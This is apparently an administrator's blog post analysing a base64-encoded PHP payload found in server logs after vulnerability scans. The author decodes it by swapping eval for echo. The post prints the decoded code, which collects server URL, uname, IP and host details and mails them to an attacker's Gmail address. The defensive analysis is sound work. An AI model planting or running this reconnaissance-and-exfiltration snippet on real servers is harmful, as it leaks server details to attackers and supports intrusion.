For the most part, most of the exploits I covered in yesterdays post are common garden php vulnerability scans.
Some of them are more interesting though, although more for being encrypted, than anything else.

If I take an example from our log files:

http://www.easy-dizzy.de/joomla/administrator/includes/js/ThemeOffice/copyright.txt

This returns an encrypted string.
Its fairly easy to see whats been returned in that, merely by changing the eval to an echo.

//Edited slightly for width purposes
$lmge = "JGNyZWF0b3I9YmFzZTY0X2RlY29kZSgiWm5Jek0zTm9NMnhzUUdkdFlXb".
"HNMbU52YlE9PSIpOw0KKCRzYWZlX21vZGUpPygkc2FmZXo9".

//eval(base64_decode($lmge));

//To stop execution, and merely see the script contents we echo it, instead of eval..
echo (base64_decode($lmge));
exit;

This returns this:

$creator=base64_decode("ZnIzM3NoM2xsQGdtYWlsLmNvbQ=="); 

($safe_mode)?($safez="ON"):($safez="OFF_HEHE");
$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$name = php_uname(); $ip = getenv("REMOTE_ADDR"); $ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]); $subj = $_SERVER['HTTP_HOST'];
$msg = "\nBASE: $base\nuname a: $name\nBypass: $bypasser\nIP: $ip\nHost: $ip2 $pwds";
$from ="From: ".$writ."___=".$safez."<tool@".$_SERVER['HTTP_HOST'].">";
mail( $creator, $subj, $msg, $from);

So in this case we can see the attacker wants us to email him our server details, what url worked for the exploit, and a few various php details.

If we look at the email account he wants to email to we can see its a google account.

echo base64_decode("ZnIzM3NoM2xsQGdtYWlsLmNvbQ==");   //returns fr33sh3ll@gmail.com

Google has been notified about that account.
All in all, slightly more interesting than the usual!
